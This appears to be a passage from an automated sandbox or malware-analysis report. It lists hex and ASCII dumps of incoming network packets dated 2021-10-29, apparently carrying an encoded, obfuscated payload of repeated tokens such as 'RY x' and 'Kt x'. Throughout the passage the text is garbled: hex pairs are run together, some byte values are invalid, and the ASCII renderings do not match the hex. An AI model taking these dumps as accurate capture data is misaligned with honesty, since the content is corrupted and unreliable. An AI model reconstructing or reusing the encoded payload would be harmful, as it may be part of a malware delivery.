Data Raw: 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
205259 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74
20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 2
0525920 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
20525920 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
78205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52

Data Ascii: RQ X RY X RY X RY x RY x RY X RY X RY x RY X RR x O0Q x RY x RY x RY x Rt x OXE x RY x RY X RY X
RY X OXE X RY X RY x RY X RY X kO x RY x RY x RY x RY X RY X RQ x RY x RY x kO X RY X RY X RY x RY x RY X RY X
RY X RY x RQ x RY X RY X RY x RY X RY X RY X R

Data Raw: 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20
4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78
20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20
7820 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b
7420 78 20 4b 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20
5259 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 74 20 78
20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78

Data Ascii: Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x KE X RY X kx

x Kt x Kt x Kt x OXE x Rk x Kt x Kt X Kt X Yo x RY x Kt x Kt x Kt X YR x RY x to x Kt x Kt X KE x RY x RR x Kt x Kt X Kt X RY
X RY x kx x

Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20

782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
78 2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20

Data Ascii: x RY x RY X RY x RY X RY X RY x RY X RY X RY X RY x RY X RY X RY x RY X RY X RY X RY x RY X RY X RY
X RY XRY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY
X RY X RY X RY X RY X RY X RY X RY X RY X RY

Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52

59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
20525920 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
78205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52

Data Ascii: Y x RY x RY X RY X RY x RY x RY X RY X RY x RY x RY X RY x RY x RY x RY X RY x RY X RY X RY X RY x

RY x RY X RY X RY x RY X RY x RY X RY x RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X
RY x RY X RY X RY x RY X RY x RY X RY x RY xR
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Timestamp transferred Direction Data

2021-10-29 18:30:03 UTC 2698 IN Data Raw: 59 52 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 4f 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20
4f 78 4f 20 78 20 4f 6f 78 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 52
20 78 20 74 59 20 78 20 4f 4f 6f 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 4f 20 78 20 4f 78 51 20 78 20 4b 74 20 78 20
59 59 20 78 20 59 78 20 78 20 4f 78 6f 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59
2078 2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59
7820 78 20 74 74 20 78 20 6b 45 20 78 20 59 4b 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78
20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f
Data Ascii: YR x Kt X YR x OOt x YK x Kt X YR x OxO x Oox x Kt x YR x OxO x O0Q x Kt x YR x tY x OO0 x Kt x YR x tO
X OxQ x Kt x YY x Yx x Ox0 x OxQ x OxQ x tK x kk x RY x RY x RY x RY x RY x RY x RY x RY x Yx x tt x KE x YK x kQ
x RQ x OXE x O0Q x kQ x RQ x OxE x OO

2021-10-29 18:30:03 UTC 2699 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
78 2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 74 20 78 20 4f 78 6f 20 78 20 6b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f
6f 6f 20 78 20 4f 78 52 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 51 78 20 78 20 59 52 20 78 20 4f 4f 59 20 78 20 4f 4f 6b
20 78 20 52 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4b 74 20 78
Data Ascii: RY x RY x RY X RY X RY x RY X RY X RY x RY x RY X RY X RY x RY x RY X RY X RY x RY x RY X RY x RY
X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY x kk x KQ x Yt x Ox0 x kt X tx X Qx x 000 x OxR X tx X O0x X
Qx x YR x OOY x OOk x RY x Kt x YR x Kt x

2021-10-29 18:30:03 UTC 2700 IN Data Raw: 20 78 20 59 6f 20 78 20 74 59 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78
45 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20
6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78
Data Ascii: X Yo x tY x OxY x kO x kQ x RQ x OXE x O0Q x RY x RY x RY x RY x RY x RY X RY x RY x RY x RY x RY X
RY X RY X RY X RY x RY X RY X RY x RY X RY X RY X RY x RY X RY X RY x RY x RY X RY X RY x RY x RY X RY x tk x
kR x kR x Yt x tk X kR x kR x Yt x tk x kR x

2021-10-29 18:30:03 UTC 2702 IN Data Raw: 6b 74 20 78 20 74 51 20 78 20 4f 78 78 20 78 20 6b 59 20 78 20 74 6b 20 78 20 52 52 20 78 20 52 59 20 78 20
5259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78
20 4f 78 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f
4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20
78 20 4f 4f 51 20 78 20 51 74 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 51 51 20 78 20
59 4f 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 59 20 78 20 59 59
20 78 20 74 51 20 78 20 4b 45 20 78 20 4f 4f 6b 20
Data Ascii: kt x tQ x Oxx x KY x tk x RR X RY X RY X RY X RY X RY X RY x RY x RY x OO0 x OxQ x Oox x Qt x OOk x kY
X OOR x tR x OOk x kY x OOR x tR x OXE x kK x kO x Kk x O0OQ x Qt x tQ x OXR x 000 x Rk x QQ x YO x OOK x kk x tk
x 000 x 000 X OOY x YY x tQ x KE x OOk

2021-10-29 18:30:03 UTC 2703 IN Data Raw: 45 20 78 20 4f 4f 45 20 78 20 74 59 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 45
207820 52 6b 20 78 20 6b 78 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 52 59 20 78 20 74
452078 20 52 51 20 78 20 52 59 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 4f 6f 4f 20 78 20 74 4b 20 78 20 6b 52 20
782051 6b 20 78 20 6b 52 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 4b 20 78 20 6b 59 20 78 20 51 6b 20 78 20 51 78
20 78 20 4f 4f 45 20 78 20 4f 78 6b 20 78 20 52 74 20 78 20 59 4b 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 6b 4f 20 78
20 4b 74 20 78 20 59 52 20 78 20 4f 4f 45 20 78 20 51 78 20
Data Ascii: E x OOE x tY x OXY x OO0 x RY x RY x RY X RY x Oxk x OxQ x kR x QQ x YY x KE x Rk x kx x YY x KE x Rk
X kx X RY X tE x RQ x RY x OXQ x OOY x 000 x tK x kR x Qk x kR x kY x tY X tK x KY x Qk x Qx x OOE x Oxk x Rt x YK X
0OO0Y x OxO x kO x Kt x YR x OOE x Qx

2021-10-29 18:30:03 UTC 2704 IN Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 6b 74 20 78 20 74 6b 20 78 20 51 51 20 78 20 4f 78
74207820 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78
20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 4f 6f 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 78
52 2078 20 4b 74 20 78 20 59 74 20 78 20 59 78 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 51 20 78
20 6b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 51 74 2
078 20 6b 45 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74
2078 20 7451 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78
Data Ascii: X RY x RY x Oxk x kt x tk x QQ x Oxt x tx X Yt X Qt X Oxt x tx X Yt X Qt X Oxt X tx X Yt x Qt x OO0 x to X RR X
OXR X Kt X Yt X YX X YY x Kt X YR x OxQ X kt x Kt x YR x OxO x kK x Kt x YR x Qt x KE x Kt x YR x kt X kO x Kt x YR X kt x
tQ X Kt X YR x tY x

2021-10-29 18:30:03 UTC 2706 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
78 2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
Data Ascii: RY x RY X RY X RY X RY x RY X RY X RY X RY x RY X RY X RY x RY x RY X RY X RY x RY X RY X RY x RY
X RY X RY x RY X RY x RY X RY x RY x RY X RY X RY X RY X RY x RY X RY x RY X RY x RY X RY x RY X RY x RY x
RY x RY x RY X RY x RY X RY x RY X RY x RY x RY x

2021-10-29 18:30:03 UTC 2707 IN Data Raw: 78 20 4f 4f 59 20 78 20 74 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 4f 78
52 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78
20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74
4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 59 6f 20
7820 74 74 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52
Data Ascii: x OOY x tY x Rt x OXE x Kt x OOk x OXR x OOQ x OQY x tY x Rt x kO x OOY x tK x OxY x kO x OOY x tK x
OxY x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x Yo x tt x Rt x OXE x kQ x RQ x OxE x OOQ x RY x RY x RY x
RY x RY X RY x RY X RY x RY X RY x RY xR
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Timestamp transferred Direction Data

2021-10-29 18:30:03 UTC 2711 IN Data Raw: 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 4f 78 52 20 78 20
4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20
7820 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4f 4f 74 20 78 20 4f 4f 4f 20 78 20 74 4b 20 78 20 4f
4f 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20
51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78
2051 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20
Data Ascii: x kO x Kk x RY x RY x RY x RY X RY x RY x RY x RY x OO0 x OOx x tk x OxR x Kt x Yt x 000 x YY x Kt x Yt
X 000 x YY x Kt X Yt X O00 x YY x OOt x OO0 x tK x OO0 x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx
x Kt x KE X YO x Qx x Kt x KE x YO

2021-10-29 18:30:03 UTC 2715 IN Data Raw: 78 20 6b 52 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 45
2078 20 4f 78 4b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 4f 52 20 78 20 52 6b 20 78 20 52 74 20 78 20 4b 74 20 78
2059 74 20 78 20 4f 4f 45 20 78 20 59 78 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 78 20 59 45 20 78 20 51 78 20 78 20 52
5920 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
Af 4f 6f 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74
52 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 4f 78 52 20
78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 52 20 78 20 52
Data Ascii: x kR x Kt x kx x OxR x tO x Oox x tE x OxK x OO0 x YK x OOR x Rk x Rt x Kt x Yt x OOE x Yx x OXR x Oxk x
YE x Qx X RY X RY X RY X RY x RY X RY x RY X RY x OO0 x OxQ x Oox x Qt x OOk x kY x OOR x tR x OOK x kk x tk x
000 x KE x kx x OXR x Yo x OOY x tR x R

2021-10-29 18:30:03 UTC 2716 IN Data Raw: 78 20 4f 78 52 20 78 20 4f 4f 51 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52
51 20 78 20 52 6b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78
20 4f 78 78 20 78 20 4f 4f 78 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 74 6f 20 78 20 4f 78 4b 20 78 20 52 59
20 78 20 6b 59 20 78 20 74 59 20 78 20 4f 78 4b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
2052 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20
782052 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52
20 7820 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52
Data Ascii: x OxR x O0Q x RQ x Rt x OxE x O0Q x RQ x Rk x RR x RY x RQ x Rt x OXE x O0Q x Oxx x OOx x ko x Kk x
kO x to x OxK x RY x kY x tY x OxK x OXE X RY x RY x RY x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt X Kt X YR X
RY x Kt x Kt x YR x RY x Kt x Kt x YR

2021-10-29 18:30:03 UTC 2721 IN Data Raw: 20 78 20 4f 6f 6f 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78
20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20
51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20
7820 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 78 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 6b 51 20 78 20
Af 6f 4f 20 78 20 4f 4f 4f 20 78 20 4f 6f 78 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 59 6f 20 78 20 4f 4f 52 20 78 20 6b 78 20
Data Ascii: x 000 x Kk x Qx x tk x OOR x Kk x Qx X tk x OOR x Kk x Qx X tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x
OOR x Kk x Qx x tk x OOR x OOx x OxQ x kR x kQ x 000 x OO0 x Oox x OOK x RY x RY x RY x RY x RY x RY x RY x
RY X RY X RY x RY x RY X Yo x OOR x kx

2021-10-29 18:30:03 UTC 2725 IN Data Raw: 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20
78 20 4b 6b 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b
45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78
20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52
20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20
7452 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 4b 20
78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78
Data Ascii: 000 x OxQ x Oox x Qt x OXE x kK x kO x Kk x OOK x kk x tk x 000 x OOR x tR x kE x Kk x OOR x tR x kE x
Kk X OOR x tR X KE x Kk x OOR x tR X kE x Kk x OOR X tR X kE x Kk x OOR x tR x kE x Kk x OOR x tR X kE x Kk x OOR
X tR x KE x Kk x OOK x kk x tk x O00 x

2021-10-29 18:30:03 UTC 2729 IN Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 74 20 78 20 59 52 20 78 20 4b 45
20 78 20 4f 4f 74 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20
4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59
20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78
2059 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59
Data Ascii: RY X RY X RY x RY X RY X RY x RY x RY X RY X RY x RY x RY X RY X RY X RY X RY x RY x RY X RY X RY x
Ytx YR x KE x OOt X Yo x YY x 000 x Oxk x YO X YY X 000 x Oxk X Yo x YY x 000 x Oxk X Yo x YY x 000 x Oxk x Yo x
YY x 000 x Oxk x Yo X YY x O00 x Oxk x Y

2021-10-29 18:30:03 UTC 2733 IN Data Raw: 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 74 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 2
052 59 20 78 20 4f 4f 51 20 78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 6b 78 20 78 20
59 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20
Data Ascii: x RY x Rt X RY X RY x RY X RY x RY x OXE x RY x Rt x RY x RY x tE x Rt x RY X RY x RY x Rt x RY x OXE x
tE X RY x RY x O0Q x tt x Rk x RY X RY x RY X RY X RY x Kt x OOQ x RY x RY x Kt x OOQ x RY X RY X RY x kx x Kt x
Ktx RY x kx X YR X RY x RY X RY x Rk

2021-10-29 18:30:03 UTC 2737 IN Data Raw: 78 20 52 59 20 78 20 59 45 20 78 20 6b 51 20 78 20 4f 78 78 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 6b 78
207820 74 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 6f 20 78 20 4f 78 4b 20 78 20
6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20
7820 6b 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f
78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20
782052 59 20 78 20 6b 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20
59 45 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20
Data Ascii: X RY x YE x kQ x Oxx x OOY x RY x kx x tQ x tx x Qt x OXE x Rk x Yo x OxK x kt x OO0 x RY x KE x kQ x kR
x OOE x RY x kx x OxQ x tx x Qt x OXE x Rk x YE x OxK x kt x OO0 x RY x KE x kQ x kR x OOE x RY x kx x OxQ X tx x
Qt x OXE x Rk x YE x OxK x kt x OOO
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kBytes
Timestamp transferred Direction Data

